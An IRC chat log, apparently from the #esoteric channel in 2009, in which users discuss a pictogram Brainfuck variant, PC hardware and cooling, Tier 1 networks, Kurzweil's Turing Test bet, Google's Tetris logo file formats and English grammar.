17:05:37 <AnMaster> asiekierk, Dejavu Sans Mono is fixed font
17:05:42 -!- BeholdMyGlory has quit (Remote closed the connection).
17:05:57 <AnMaster> and is installed on all modern Linux systems by default as far as I know
17:06:15 <pikhq> Nice terminal font.
17:06:38 <pikhq> You mean there's IRC out-of-terminal?
17:06:41 <pikhq> asiekierk: BACK! BACK!
17:06:54 <AnMaster> pikhq, I think ehird uses that.
17:07:00 <AnMaster> with *shudder* variable width font
17:07:10 <asiekierk> Well, lemme show you how would a typical CAT program look like
17:07:14 <AnMaster> possibly Hellvetica or something.
17:07:37 <AnMaster> asiekierk, as long as you don't want us to open *.bmp...
17:07:58 <pikhq> AnMaster: XP .bmp saves to GIF and JPG.
17:08:02 <tetha> modern MS paint's can even save pngs
17:08:18 <asiekierk> But I think I will just take photos of hand-drawn drawings
17:09:34 * AnMaster waits another 5 minutes after fixing the bug...
17:11:19 <pikhq> Brainfuck backend for GCC.
17:11:50 -!- Corun|away has changed nick to Corun.
17:13:19 <pikhq> ... You seriously don't know what a backend is?
17:13:51 <tetha> no, I am just wondering about the backend part, because from my knowledge about backends, that would mean that gcc-bf generates brainfuck
17:14:18 <pikhq> A compiler can be said to have two basic parts: a frontend and a backend. The frontend takes in code, transforms it to an intermediate form. The backend converts that to the final output code.
17:14:37 <tetha> ok, so people are more crazy than I expected :)
17:14:50 <pikhq> asiekierk: It's a work in progress.
17:15:06 <pikhq> And you've been able to do that for a few years. Gregor wrote C2BF a while back. :p
17:15:23 <asiekierk> Did you ever get anything to compile
17:15:25 <pikhq> Pester ais523 for more details.
17:15:41 <pikhq> IIRC, he just about had Hello, World! working.
17:18:37 <asiekierk> uploading the CATs in BF-Gram in just a moment
17:19:58 <asiekierk> http://img375.imageshack.us/img375/8763/bfgramcat.jpg
17:25:14 <AnMaster> asiekierk, a simple "hello world" program from gcc-bf is over 430K when RLL encoded
17:25:44 <AnMaster> I'm not going to try to expand it
17:26:25 <AnMaster> where that * means "times" yes.
17:26:56 <AnMaster> <AnMaster> I'm not going to try to expand it
17:27:07 <AnMaster> I process the file directly as the RLE encoding
17:27:26 <AnMaster> yes. There are quite a few of them
17:27:31 <AnMaster> asiekierk, there isn't one after every one
17:27:33 <asiekierk> and repeat the char before "<" that many times
17:27:41 <AnMaster> asiekierk, I know. But the output would be huge
17:28:05 <AnMaster> asiekierk, you can figure it out yourself, I'll upload it somewhere
17:28:59 <AnMaster> asiekierk, tell me when you found out.
17:30:23 <asiekierk> it says nowhere in the file "your soul belongs to me now"
17:30:39 <AnMaster> why did you loose interest when you had to do it yourself?
17:31:33 <ehird> i type at 100-110wpm
17:32:10 <ehird> 00:06 AnMaster: nescience, well I'm large. In all possible meanings of large. Large hands. Tall (189.6 cm). Wide shoulders. I find full sized PC keyboard small.
17:32:14 <ehird> you missed one meaning
17:32:34 * pikhq types at a mere 70wpm.
17:32:43 <pikhq> Mostly for lack of bothering to get faster.
17:33:04 <Deewiant> ehird: No, you fail. There's more than one he missed.
17:33:25 <Deewiant> ("Fat" is equally valid as what you probably had in mind.)
17:33:27 <AnMaster> then I guess it wasn't all possible meanings
17:34:13 <Deewiant> I think we could quite easily come up with more.
17:34:25 <ehird> He missed at least one that he is still missing.
17:34:31 <ehird> (And the rather obvious one.)
17:35:14 <Deewiant> I didn't realize it until your LOLFAIL, which got me on the right thinking track.
17:35:28 <ehird> Deewiant: Yes, but you're always contrarian about things.
17:35:39 <AnMaster> I *do* have large foots. Size 46 iirc.
17:35:48 <ehird> "No, that doesn't sound like 'cock taste good', it sounds like 'qack tek goot'."
17:35:56 <asiekierk> http://img195.imageshack.us/img195/5769/bfgramextra.jpg
17:35:57 <ehird> "25dpi should be enough for everyone"
17:36:07 <asiekierk> BFGram - pbrain, Brainfork and Boolf**k extra commands
17:36:42 <ehird> AnMaster: You're still missing it.
17:36:43 <Deewiant> You're a bit taller than me but my shoe size is typically 47+.
17:36:50 <AnMaster> hm... "gb_sets" being more efficient than "sets" module. Not.
17:37:02 <asiekierk> I duno how will a BF-Gram quine work
17:37:12 <asiekierk> Well, it would need to output a BMP
17:37:20 <asiekierk> containing the exact same data as the input BMP
17:37:43 <EgoBot> help: General commands: !help, !info, !bf_txtgen. See also !help languages, !help userinterps. You can get help on some commands by typing !help <command>.
17:37:57 <EgoBot> 97 +++++++++++[>++++++>++++>++++++++++>+<<<<-]>.++++.>+.<+.>>++++.-----------------.++++++++++++.>-. [288]
17:37:58 <ehird> AnMaster: It's thickness of hair I'm talking about.
17:38:31 <AnMaster> ehird, oh. Ok. Hm I don't know. I do have quite a lot of hair. But each hair? No clue
17:38:50 <asiekierk> Omg, is it just me or am I going to convert 97 BF code parts to BF-Gram
17:39:02 <AnMaster> "one hair"? Is that really right
17:39:08 <ehird> AnMaster: I'm joking; I actually meant toe size.
17:39:43 <AnMaster> or am I mixing this up with Swedish hår/hårstrå
17:40:09 <AnMaster> (the latter being one hair, the former being in general, like the total hair on one head or whatever)
17:43:39 -!- comex has joined.
17:44:38 <asiekierk> I just made a pictogram representation of BF
17:45:49 <asiekierk> http://img375.imageshack.us/img375/8763/bfgramcat.jpg
18:06:21 <ehird> I hate high-resolution monitors
18:06:32 <ehird> they're so awesome, but, but, but everything would go so slow.
18:08:11 -!- coppro has joined.
18:16:55 <asiekierk> Except if you have a good graphic card
18:17:05 <asiekierk> or 4 graphic cards connected in one :D
18:17:11 <asiekierk> each handles a quarter of the screen
18:17:34 <ehird> asiekierk: multi graphics cards is commonplace
18:17:58 <AnMaster> ehird, for high end systems yes
18:18:11 <ehird> AnMaster: for any system with >1 monitor, too
18:18:50 <ehird> asiekierk: high-res is over 1920x1200 for me
18:18:50 <AnMaster> ehird, anyway, get a CRT, then when you want to view text you don't need high FPS, run at max res. When you need to play 3D games, use a lower res.
18:18:53 <ehird> so, super high res
18:19:18 <ehird> AnMaster: great, now I can have blurriness, eye strain, flickering and the horrid, horrid WHIIIIIIIIIIIIIIIIIIIIIIIIIIIIINE all the time
18:19:30 <AnMaster> ehird, oh you hear the whine too?
18:19:38 <AnMaster> I know lots of people who claim they don't whine
18:19:47 <ehird> AnMaster: as you get older you hear less high freq noises
18:19:58 <ehird> also, some people just have less sensitive hearing
18:20:02 <AnMaster> I can hear if the TV is on over from upstairs. Due to the whine
18:20:12 <ehird> I can hear it from in the room, though
18:20:39 <asiekierk> I have too sensitive hearing machinma
18:20:40 <AnMaster> ehird, well... I can hear it in the over other noise too, but then I need to be just one or two rooms away
18:20:45 <asiekierk> I can't just make my speaker quiet
18:20:53 <asiekierk> I need to literally flick the power switch on the back
18:21:05 <asiekierk> As well as the TV being quiet as hell in another room
18:21:16 <asiekierk> and i can't sleep when my DVD recorder's hard drive is doing noise
18:21:27 <AnMaster> asiekierk, you mean you would want to leave the loadspeaker's on?
18:21:37 <AnMaster> "DVD recorder's hard drive" <-- *blink*?
18:21:40 <ehird> asiekierk: wait, you're that sensitive and fan/harddrive noise doesn't bother you?
18:21:55 <ehird> well, yeah, that works
18:22:03 <asiekierk> what if i want to record a show overnight
18:22:08 <asiekierk> then the DVD recorder noise bothers me
18:22:15 <ehird> asiekierk: put it in a wardrobe
18:22:31 <asiekierk> and i don't have a real wardrobe that close
18:22:37 <asiekierk> it's so far away the cables won't reach
18:23:00 <ehird> asiekierk: stop using optical media? :P
18:23:18 <asiekierk> my DVD recorder is a HDD/DVD recorder
18:23:34 <ehird> asiekierk: replace the HD with a solid state drive
18:23:40 <ehird> if it uses regular sata you just need to open it up
18:23:47 <asiekierk> ...It's a 160GB drive, and it's under warranty
18:24:03 <asiekierk> How big a SSD can get to not be overpriced
18:24:13 <ehird> asiekierk: well, you don't need much speed, right?
18:24:19 <ehird> since it's not an OS drive
18:24:43 <asiekierk> and I need to remove the screws and all that to remove the HDD
18:24:44 <ehird> asiekierk: any HD can do that
18:25:08 <asiekierk> wouldn't the fan noise bother me then
18:25:25 <ehird> asiekierk: does it have a fan?
18:25:28 <ehird> I wouldn't expect it to
18:25:43 <asiekierk> but it has a DVD and an HDD and is about the size of a C64
18:26:33 <ehird> hmm the 128GB ssds seem to be ~$200 (= 650 zloty); but you can get 64GB for $138 (= 448 zloty)
18:26:43 <ehird> pretty sure you can get cheaper SSDs elsewhere, but meh
18:26:54 <ehird> prices should go down in a few months
18:28:05 <asiekierk> i don't need to record stuff overnight
18:28:13 <asiekierk> OR I can just move the DVD recorder to my parents' room
18:28:24 <ehird> that is probably the cheaper solution
18:28:37 <ehird> if only doing that with computers was practical i'd be saving myself hundreds.
18:28:57 <asiekierk> in other topic, what about the abomination known as BF-Gram
18:29:00 <ehird> asiekierk: Laptops have fan
18:29:13 <ehird> You can get solid-state laptops, but a bunch won't match up to a good computer
18:29:15 <ehird> And they'll overheat
18:29:31 <ehird> asiekierk: Your laptop just burnt
18:29:35 <ehird> They're in there for a reason
18:29:51 <asiekierk> or put it outside with an opened case with fans on a cold day
18:30:17 <ehird> asiekierk: just use phase-change cooling
18:30:28 <ehird> a huge tube connects to your cpu
18:30:33 <ehird> and goes into a gigantic fridge
18:30:34 <asiekierk> also, why won't you get a small netbook that has VLC
18:30:37 <ehird> you get temps like -50C
18:30:46 <asiekierk> what was that app to connect between PCs?
18:31:01 <ehird> anyway I like having a computer case next to me
18:31:10 <asiekierk> ehird: Do a cardboard one! *smiles*
18:31:26 <ehird> asiekierk: anyway, this is all a lot less fun than watercooling it
18:31:35 <ehird> with a gigantic radiator attached to the case, so you don't need fans
18:41:03 -!- asiekierk has quit.
18:48:13 -!- Judofyr_ has joined.
18:54:45 <AnMaster> ehird, even better is putting the actual computer in another room. Then have keyboard, mouse, monitor and CD drive in the room you are in. With some sort of extension thingy
18:55:14 <ehird> I'm tired of you complaining that I don't read the rest of the text before replying and still do it yourself.
18:55:26 <ehird> AnMaster: No, before that I said: because I like having my case next to me.
18:55:31 <ehird> What's that? You didn't read it? Gee, I knew that.
18:55:39 <AnMaster> ehird, so go for the cardboard case with a cd in it
18:56:05 <ehird> AnMaster: That is not having my case next to me.
18:56:06 <AnMaster> ehird, but I assume you want the case close to be able to, you know, push the power button, use the cd and such?
18:56:12 <AnMaster> or why do you want the case next to you
18:56:19 <ehird> No, I just like my hardware to be easily-available.
18:56:29 <ehird> Besides, there's nowhere I could put it.
18:56:36 <AnMaster> ehird, walking a few steps is hard?
18:56:45 <AnMaster> ehird, ok that is a good reason
18:56:47 <ehird> AnMaster: That is not next to me
18:57:50 <AnMaster> ehird, yes, but I still don't see a good reason for it. You probably need to get a screwdriver to open the case. Sure there are cases you can open without screwdriver. Did you decide on such a case?
18:58:06 -!- coppro has changed nick to NotEelis.
18:58:14 <ehird> AnMaster: I don't want access to my hardware necessarily, I just like it being there :P
18:58:17 <ehird> “By 2029 no computer - or "machine intelligence" - will have passed the Turing Test.” DETAILED TERMS »
18:58:28 <ehird> will go to The Electronic Frontier Foundation if Kapor wins,
18:58:30 <ehird> or The Kurzweil Foundation if Kurzweil wins.
18:58:32 -!- NotEelis has changed nick to coppro.
18:58:32 <ehird> http://www.longbets.org/1
18:59:38 <ehird> AnMaster: Whatever Kurzweil wants, I guess.
18:59:39 <ehird> [[The Kurzweil Foundation, which is Ray's private foundation, used these funds for the Kurzweil Foundation's scholarship program, providing scholarships to worthy blind students. ]]
18:59:43 <ehird> Probably Singularity-related stuff as well.
18:59:49 <ehird> (And by implication AI)
19:00:14 <ehird> I'd bet on Kurzweil's side, but 2029 is so close.
19:00:31 <AnMaster> ehird, you noticed that google fails at holiday logo?
19:00:38 <AnMaster> no holiday logo on the main page
19:00:49 <ehird> AnMaster: ISP-level cache fail.
19:01:04 <AnMaster> ehird, Hm. I'm pretty sure my ISP doesn't do that
19:01:05 <ehird> AnMaster: it was there earlier today.
19:01:08 <ehird> also, all ISPs cache
19:01:32 <AnMaster> ehird, let me check from somewhere that definitely doesn't do it (data center)
19:01:44 <ehird> AnMaster: I just said:
19:01:49 <ehird> but earlier today it was there.
19:01:54 <ehird> AnMaster: also, your data center does cache
19:02:08 <ehird> any ISP that doesn't will be going out of business due to bandwidth charges in 3,2,1
19:03:09 <AnMaster> ehird, they are hooked up to level3 directly. So if level3 caches.. maybe.
19:03:24 <ehird> Everything caches. Except maybe Tier1; I have no idea about tier 1 ISPs
19:03:52 <ehird> AnMaster: http://en.wikipedia.org/wiki/Tier_1_network#Telecom_Providers_Tier_1_.26_2
19:04:00 <ehird> L3 is in that list.
19:04:04 <ehird> OK, then; they might not cache.
19:04:42 <ehird> [[Ms. Cynthia Clay, the Shakespeare aficionado, was thrice misclassified as a computer. At least one of the judges made her classification on the premise that ``[no] human would have that amount of knowledge about Shakespeare.'']]
19:05:31 <AnMaster> [...]<br clear=all id=lgpd><a href="/search?q=tetris&hl=en&ct=tetris09&oi=ddle"><img src=/logos/tetris09.gif width=300 height=144 border=0 id=logo onload="window.lol&&lol()" alt="Celebrating 25 Years of The Tetris Effect � courtesy of Tetris Holding, LLC" title="Celebrating 25 Years of The Tetris Effect � courtesy of Tetris Holding, LLC"></a><br><br><form action="/search" name=f>[...]
19:05:33 -!- Judofyr has quit (Read error: 110 (Connection timed out)).
19:05:44 <ehird> AnMaster: window.lol&&lol()
19:06:07 <AnMaster> I was wondering about that too
19:07:01 <AnMaster> ehird, it is there on normal google too
19:07:08 <AnMaster> as in "normal without the holiday logo"
19:07:32 <AnMaster> http://www.google.com/logos/tetris09.gif
19:07:39 <ehird> probably a workaround bug
19:07:41 <AnMaster> they fail. They use gif. YET IT ISN'T ANIMATED
19:07:51 <ehird> AnMaster: You fail.
19:07:52 <AnMaster> it should show a game of tetris
19:07:58 <ehird> GIFs are usually smaller for such images.
19:08:07 <AnMaster> ehird, it is smaller as png though
19:08:22 <ehird> Less browser support; and are you sure?
19:08:22 * myndzi stabs "Tetris Holding, LLC"
19:08:31 <myndzi> fuck you and your copyright or patents or whatever the fuck it is :P
19:08:40 <myndzi> 25 years indeed, isn't that enough? :\
19:08:41 <AnMaster> ehird, I'm sure if you use something like advpng/optipng or similiar.
19:08:51 <AnMaster> ehird, because sure, there are bad implementations of deflate.
19:08:53 <ehird> AnMaster: Go test it; Google aren't stupid.
19:09:59 <AnMaster> $ du -b tetris09.png tetris09.gif
19:10:12 <ehird> AnMaster: Now, gzip them.
19:10:13 <AnMaster> checked that images are equivalent
19:11:01 <ehird> *shrug* There's probably a server-side related effect.
19:11:02 <AnMaster> gzip for png is pointless. Since gzip uses the same compression as png
19:12:32 <AnMaster> ehird, after using advpng, optipng and pngout:
19:12:39 <ehird> AnMaster: Go ask google.
19:13:00 <AnMaster> imagemagick doesn't compress well
19:13:54 <AnMaster> ehird, anyway it would be perfect for a gif-animation.
19:14:09 <ehird> Yes, but also annoying.
19:14:58 <AnMaster> ehird, also well compressed png are in general smaller than the same as gif. The exception is when the image is so small that the larger file header overhead of png makes the image larger.
19:15:08 <ehird> There is almost certainly a reason
19:15:29 <AnMaster> ehird, well, since there is no transparency in that gif (background is actually white), I don't know
19:15:48 <AnMaster> IE 6 did have problems with transparent pngs in some cases. But that wouldn't apply here.
19:16:26 <AnMaster> ehird, so this is annoying? http://ipv6.google.com/
19:16:44 <AnMaster> ehird, I disagree. The animation doesn't repeat after all
19:16:55 <ehird> more annoying than no animation
19:24:50 <ehird> apparently kurzweil invented the first any-font OCR, CCD flat-bed scanner AND complete TTS synthesizer
19:25:12 <AnMaster> ehird, btw that link... Interesting TeliaSonera is a tire1...
19:25:29 <ehird> is that like the sweden/finland BT?
19:25:32 <ehird> looks like it from wp
19:25:39 <ehird> AnMaster: british telecom
19:25:43 <ehird> http://en.wikipedia.org/wiki/BT_Group
19:25:59 <AnMaster> It is one of the largest such companies here
19:26:28 <ehird> bt basically control the telephone lines here.
19:29:10 <AnMaster> ehird, I'm not sure if they own the actual cabels though
19:32:30 <AnMaster> ehird, anyway... Is any UK company a tire1 carrier?
19:32:44 <ehird> Tire is what you put on cars.
19:32:59 <ehird> AnMaster: Anyway, no.
19:33:18 <AnMaster> <ehird> (' wheels) <-- ((quot wheels)) ?
19:34:12 <AnMaster> <ehird> AnMaster: Anyway, no. <-- This is supposed to show Sweden > UK ;P
19:34:40 <ehird> AnMaster: Tier-1 ISPs suck to actually be connected to.
19:35:14 <AnMaster> ehird, cheaper though. Much cheaper.
19:35:36 <AnMaster> ehird, I mean, cheaper to _be_ a Tire1 than a tire2
19:35:50 <ehird> Tier-1 is all the big boys.
19:36:08 <AnMaster> ehird, then I misunderstood the text saying "A network that can reach every other network on the Internet without purchasing IP transit or paying settlements."
19:36:13 <AnMaster> source: http://en.wikipedia.org/wiki/Tier_1_network
19:36:21 <ehird> Yeah, uh, you're being stupid.
19:36:27 <ehird> Being a Tier-1 is not easy/cheap in any way.
19:36:45 <ehird> (Especially the amount of cash you'd need to bribe all the other Tier-1s to accept you)
19:36:52 <AnMaster> ehird, logically, not having to pay such transit would be cheaper...
19:37:05 <ehird> AnMaster: But they have to handle a lot more traffic themselves
19:37:09 <ehird> As opposed to delegating it
19:37:14 <ehird> [[Tier 1 networks are closer to the "center" of the Internet.
19:37:14 <ehird> In reality, Tier 1 networks usually have only a small number of peers (typically only other Tier 1s and very large Tier 2s), while Tier 2 networks are motivated to peer with many other Tier 2 and end-user networks. Thus a Tier 2 network with good peering is frequently much "closer" to most end users or content than a Tier 1.
19:37:17 <ehird> Tier 1 networks by definition offer "better" quality Internet connectivity.
19:37:19 <ehird> By definition, there are networks which Tier 1 networks have only one path to, and if they lose that path, they have no "backup transit" which would preserve their full connectivity.
19:37:22 <ehird> Some Tier 2 networks are significantly larger than some Tier 1 networks, and are often able to provide more or better connectivity.]]
19:38:23 <AnMaster> ehird, if so, what is the deal with being tire1
19:38:48 <ehird> AnMaster: The deal is that they're basically the interweb's backbone.
19:38:56 <ehird> Everything eventually comes down to them.
19:39:08 <AnMaster> ehird, also I always mixed up tier and tier
19:39:10 <ehird> AnMaster: Also, they have immense power and control.
19:39:50 <ehird> Tier is former, tire is latter.
19:40:56 <AnMaster> ehird, yes, when you pronounce them the issue isn't. (Intentionally messed up grammar, but I *think* it is still valid?)
19:41:09 <ehird> "When you pronounce them the issue is not."
19:41:12 <AnMaster> the issue is seeing the difference/spelling it
19:41:14 <ehird> you said "the issue"
19:41:19 <ehird> and gave it a property
19:41:30 <ehird> which is nonsensical if it's not, it isn't existing
19:41:55 <AnMaster> ehird, "<ehird> which is nonsensical if it's not, it isn't existing" <-- what
19:42:03 <ehird> AnMaster: so do I :)
19:42:25 <AnMaster> ehird, were you trying to do the same thing as I did?
19:42:53 <ehird> but explaining metalogical syntactic/morphic distinctions difficults the mind!
19:43:00 <AnMaster> ehird, tell me what you meant then
19:43:06 <ehird> i don't really know
19:45:32 <AnMaster> ehird, that long bet thing, who is behind it
19:45:52 <ehird> AnMaster: Well, that's just one of them. They use dates starting with an 0, then the 4-digit year, so the Long Now foundation or an affiliate
19:45:58 <ehird> (since they're the only ones planning for user 10000)
19:46:22 <ehird> "STAKES $1,000,000"
19:46:23 <AnMaster> year -> user <-- how did you manage that...
19:46:41 <ehird> AnMaster: y is next to u, s is below-and-next of e
19:46:55 <ehird> bsmntbombdood: no, I'm working out the intricacies of the watercooling set up
19:47:14 <ehird> bsmntbombdood: yeah, that's why I'm not spending that much
19:47:17 <AnMaster> ehird, 75% of the letters were typoed!
19:47:20 <ehird> that was just a maxed out prebuilt from endpcnoise
19:47:28 <ehird> bsmntbombdood: what's the point of that
19:47:30 <ehird> I only use one box
19:47:40 <ehird> i'd just end up doing a very slow analog of SLI
19:47:52 <bsmntbombdood> and you will get twice the performance of a single $4000 computer
19:48:07 -!- tetha has quit (Nick collision from services.).
19:48:11 <ehird> bsmntbombdood: no i won't
19:48:16 -!- tetha has joined.
19:48:34 <ehird> AnMaster: "Long Bets was started in 02003 as a project of The Long Now Foundation"
19:48:40 <ehird> since the kurzweil one was #1 it's been on since 2003
19:48:53 <ehird> Jeff Bezos, founder and CEO of Amazon.com, provided the two grants with which the Long Bets website was built.
19:49:13 <ehird> bsmntbombdood: i have no use for two disconnected machines, anyway
19:49:21 <ehird> I only use one computer, for all purposes
19:49:26 <ehird> and I hate context-switching
19:49:59 <ehird> bsmntbombdood: err, and?
19:50:01 <ehird> that's 4 computers
19:50:17 <ehird> anyway, the sum of computing power may be greater than one
19:50:21 <ehird> but you can't utilize them as one unit
19:50:33 <ehird> which defeats the point, for anything other than mass computation
19:50:38 <ehird> no luck gaming, etc
19:51:00 <ehird> bsmntbombdood: stop saying $4k
19:51:04 <ehird> I'm not buying a 4k computer
19:51:45 <ehird> bsmntbombdood: nope
19:51:53 <ehird> AnMaster: not with i7s it isn'
19:51:55 <ehird> they only have one QPI
19:52:14 <AnMaster> so you can't use more than one i7 on a motherboard?
19:52:23 <ehird> bsmntbombdood: $500 more
19:52:30 <AnMaster> I guess Intel want you to spend money on Xeon instead...
19:52:53 <ehird> AnMaster: they expect you not to go excessive w/ >8 threads.
19:53:03 <AnMaster> ehird, a server very well might
19:53:04 <ehird> bsmntbombdood: (he's smiling because you recommended AMD)
19:53:09 <ehird> AnMaster: i7 is a consumer processor
19:53:22 <ehird> bsmntbombdood: i said $4k was the cost of a system comparable in specs (apart from gfx card) to the system I'm going for; by a boutique system vendor; optimized for air-cooled silence
19:53:29 <AnMaster> ehird, how many xeon's / mobo can you have
19:53:29 <ehird> thus, not comparable to a DIY watercooled setup
19:53:39 <AnMaster> and not physical dimensions of mobo
19:53:41 <ehird> AnMaster: 2 = 8 cores, 16 threads. With the upcoming Nehalem-XE,
19:54:14 <AnMaster> so can you have 32 Xeons on a single mobo for a total of 256 cores?
19:54:19 <ehird> AnMaster: after 2 CPUs you will do better with a cluster
19:54:47 <ehird> AnMaster: intel don't make >million dollar decisions based on theory
19:54:52 <ehird> bsmntbombdood: what software
19:54:58 <ehird> Nehalem-XE is a new chip thing
19:55:07 <bsmntbombdood> that lets you migrate processes between different nodes in a cluster
19:55:14 <ehird> it may not be called nehalem-xe I forget
19:55:15 <AnMaster> ehird, right. But you said you could have 4? On one mobo? Each with 8 cores?
19:55:20 <ehird> AnMaster: Yes. Which is 32 cores.
19:55:28 <ehird> Four times eight is thirty-two.
19:55:29 <AnMaster> ehird, you can't have more on one mobo? :/
19:55:38 <AnMaster> that was what I was asking about
19:55:41 <ehird> even fucking opterons only go up to 4 cpus
19:56:06 <ehird> bsmntbombdood: anyway, I expect total cost of the actual computer + cooling system to be about ~$3000
19:56:10 <AnMaster> ehird, Is this a hard limit in the CPU architecture?
19:56:17 <ehird> w/ IO devices, ~$3700
19:56:19 <AnMaster> or just because no one made such mobos
19:56:26 <ehird> AnMaster: it's because any more is fucking stupid
19:56:52 <ehird> bsmntbombdood: buy a cluster
19:56:54 <AnMaster> ehird, right. But you said i7 couldn't do dual cpu due to only one QPI. So Xeons have only 4 QPIs or something then?
19:57:01 <ehird> i hear IBM are offering them at 50 billion a pop :p
19:57:05 <AnMaster> "only" not being the right word
19:57:18 <ehird> AnMaster: also, not current things
19:57:27 <ehird> bsmntbombdood: building a cluster? by your lonesome?
19:57:32 <AnMaster> ehird, so what is the single "extra" QPI needed?
19:57:33 <ehird> it'll be obsolete before you're 1/4 don
19:57:45 <AnMaster> I mean, if it was just one to every other CPU it would be zero on i7
19:57:45 <ehird> AnMaster: one of the QPIs is the connection to the memory
19:57:49 <ehird> The front side bus has been replaced by the Intel QuickPath Interconnect interface. Motherboards must use a chipset that supports QuickPath.
19:57:58 <ehird> bsmntbombdood: i'm talking like a 100-machine cluster here
19:58:18 <AnMaster> ehird, thus in a 4 CPU Xeon system you need one QPI to each other CPU + one to memory for each?
19:59:33 <AnMaster> bsmntbombdood, is it a cluster two just two machines?
19:59:53 <AnMaster> I mean, it is really the same thing, just not a lot of computers
20:02:35 <ehird> bsmntbombdood: anyway, i probably won't go for the 965 since it's being phased out
20:02:43 <ehird> 975 XE or just overclock a 920 for me, most likely
20:03:09 <ehird> bsmntbombdood: it's not out yet
20:03:24 <ehird> 940 and 965 XE are being phased out, replaced by 950 (3.06ghz) and 975 XE (3.33ghz)
20:03:26 <ehird> but it's not out yet
20:03:52 <ehird> bsmntbombdood: 975 is out 2009-06-03 apparently
20:03:54 <ehird> so i guess it's out
20:04:05 <ehird> should trickle into stores soon!
20:04:12 <ehird> bsmntbombdood: ooh
20:04:15 <ehird> there are non-clock changes
20:04:18 <ehird> D0 processor stepping
20:04:22 <ehird> although I think some older i7s have that
20:04:27 <ehird> (newer generations of them)
20:04:34 <ehird> bsmntbombdood: no idea but apparently it makes things faster.
20:04:41 <ehird> the literal box that is
20:05:26 <ehird> bsmntbombdood: [[The results of our memory subsystem test show clearly that we shouldn’t expect CPUs with new processor stepping to perform any different. The differences we see in obtained results are all within the measuring error. ]]
20:05:37 <ehird> ok, apparently it's mostly better power consumption and overclocking potential
20:05:56 <ehird> bsmntbombdood: 975 XE has been OCed to >5ghz on air
20:06:33 <bsmntbombdood> i don't understand why, if such large overclocks are possible, why not just increase the stock clock speed?
20:06:53 <ehird> bsmntbombdood: a few reasons
20:07:07 <ehird> (a) this way we can roll out more expensive pre-OCed models! $$$$$$$$$$$
20:07:16 <ehird> (b) ok, but, can we guarantee it won't fail? warranties, y'know.
20:07:37 <ehird> bsmntbombdood: also, it varies from CPU to CPU
20:07:43 <ehird> some high-clock CPUs don't work at the high-clock
20:07:52 <ehird> so they just back off the clock and sell as the lower-clocked one
20:08:54 <ehird> no process is perfect
20:09:02 -!- Judofyr_ has changed nick to Judofyr.
20:09:10 <ehird> beats throwing them away
20:13:01 <bsmntbombdood> AnMaster: the qpi in an i7 connects it to the northbridge
20:13:04 <ehird> bsmntbombdood: donate $10,000 to me and I'll build you a beowulf of Xeons
20:13:18 <ehird> bsmntbombdood: why not
20:13:34 <ehird> bsmntbombdood: why not
20:14:39 <ehird> bsmntbombdood: you can't utilize your i7 machiaen to the fullest anyway :P
20:14:53 <ehird> i mean, vs a core2quad
20:15:30 <ehird> bsmntbombdood: you wanna bet that? i'll give you a similar-clocked core2quad with the same amount of DDR3 ram etc
20:15:52 <AnMaster> ehird, so you are going for a core2 then?
20:15:59 <ehird> AnMaster: i love excessiveness
20:16:20 <AnMaster> ehird, you won't be able to utilize your planned i7 to the fullest anyway :P
20:16:27 <ehird> AnMaster: did you read what I said?
20:16:30 <ehird> i. love. excessiveness.
20:16:35 <ehird> yes, I can't utilize all that power; so what? :)
20:16:44 <AnMaster> ehird, Yes. I thought you meant having excessive money left on the bank afterwards.
20:16:55 <ehird> not... not really.
20:20:45 <Asztal> now where will I go for an example of an unusable website?
20:21:22 <pikhq> Archive.org, pull up some older versions of the Microsoft website.
20:22:18 <pikhq> Oh, right. It's *still awful*.
20:25:41 <AnMaster> <ehird> SF IS DOWN <-- temp or perm?
20:25:49 <ehird> AnMaster: oh come on, take a guess
20:25:58 <ehird> SF is down forever
20:26:03 <ehird> all data has been permanently erased
20:26:05 <ehird> including all the backups
20:26:17 <ehird> which they stored in an underground bunker, on tapes
20:26:27 <ehird> with 1,000 guards 24/7
20:28:48 <AnMaster> ehird, but then what is the news
20:28:56 <ehird> i wanted to dl something
20:29:06 <AnMaster> ehird, their mirrors tend to be up still
20:29:35 <AnMaster> http://ftp.heanet.ie/mirrors/download.sourceforge.net/ iirc
20:29:43 <ehird> http://blogs.discovermagazine.com/badastronomy/files/2009/06/areyoupennorteller.jpg
20:30:00 <Asztal> http://kent.dl.sourceforge.net/
20:30:01 <AnMaster> ehird, look at the google cache copy of the project download page
20:30:13 <AnMaster> then use it but the mirror instead
20:30:18 <ehird> http://ftp.heanet.ie/mirrors/download.sourceforge.net/pub/sourceforge/d/de/desmume/
20:30:57 <ehird> i did it all with clicks
20:31:16 <ehird> [[DeSmuME can boot homebrew and games, some of which are
20:31:20 <ehird> optimistic README there
20:31:49 <AnMaster> ehird, it isn't easy to emulated proprietary hardware. I'm not surprised.
20:31:55 <ehird> yeah, it's just funny :)
20:32:40 <AnMaster> ehird, you will find the same for all the other ones, like zsnes, mupen64plus, VBA, ...
20:32:48 <AnMaster> similar phrases somewhere in the docs
20:32:54 <ehird> AnMaster: they don't say that in such a deadpan manner.
20:33:27 <AnMaster> ehird, not sure about VICE, but probably the same too
20:33:50 <AnMaster> though emulating C64 isn't nearly as hard. And much have been found out.
20:34:12 <ehird> and stop starting sentences with... with whatever those are, I forget :P
20:34:35 <AnMaster> ehird, I don't know what you mean. So
20:34:51 <ehird> AnMaster: "And" is invalid at the start of a sentence.
20:35:11 <AnMaster> Citation needed. As far as I remember, it is just highly discouraged.
20:35:24 <AnMaster> But I have seen it quite often in English.
20:35:41 <AnMaster> pretty sure I saw it in HHGTG for example.
20:35:49 <AnMaster> for the artistic effect I guess.
20:35:55 <pikhq> It is valid in informal contexts.
20:36:09 <AnMaster> pikhq, as I thought then. Highly discouraged.
20:36:18 <ehird> pikhq: no, not really
20:36:23 <pikhq> And yes, #esoteric is an informal context.
20:36:25 <ehird> it's as "valid" as broken english is valid
20:36:35 <ehird> i.e., it can be understood
20:36:37 <ehird> but it is not valid english
20:36:57 <pikhq> And yet, we don't care if it's valid.
20:37:09 <ehird> pikhq: It's incredibly awkward.
20:37:21 <ehird> AnMaster: 2+2=4[citation needed HAHAHAHA I'M SO WITTY I CAN REFERENCE WIKIPEDIA]
20:37:24 <pikhq> In informal contexts, we don't give a flying fuck.
20:37:32 <ehird> pikhq: ok den wuteva
20:37:36 <pikhq> Also, it's not exceptionally awkward. ;)
20:37:43 <ehird> hahahaha ur a nerd
20:37:47 <ehird> AnMaster: No, I don't.
20:37:57 <AnMaster> ehird, as do several other in here.
20:38:06 <pikhq> ehird: There's a difference between informal English and sounding stupid.
20:38:07 <ehird> You're imagining things
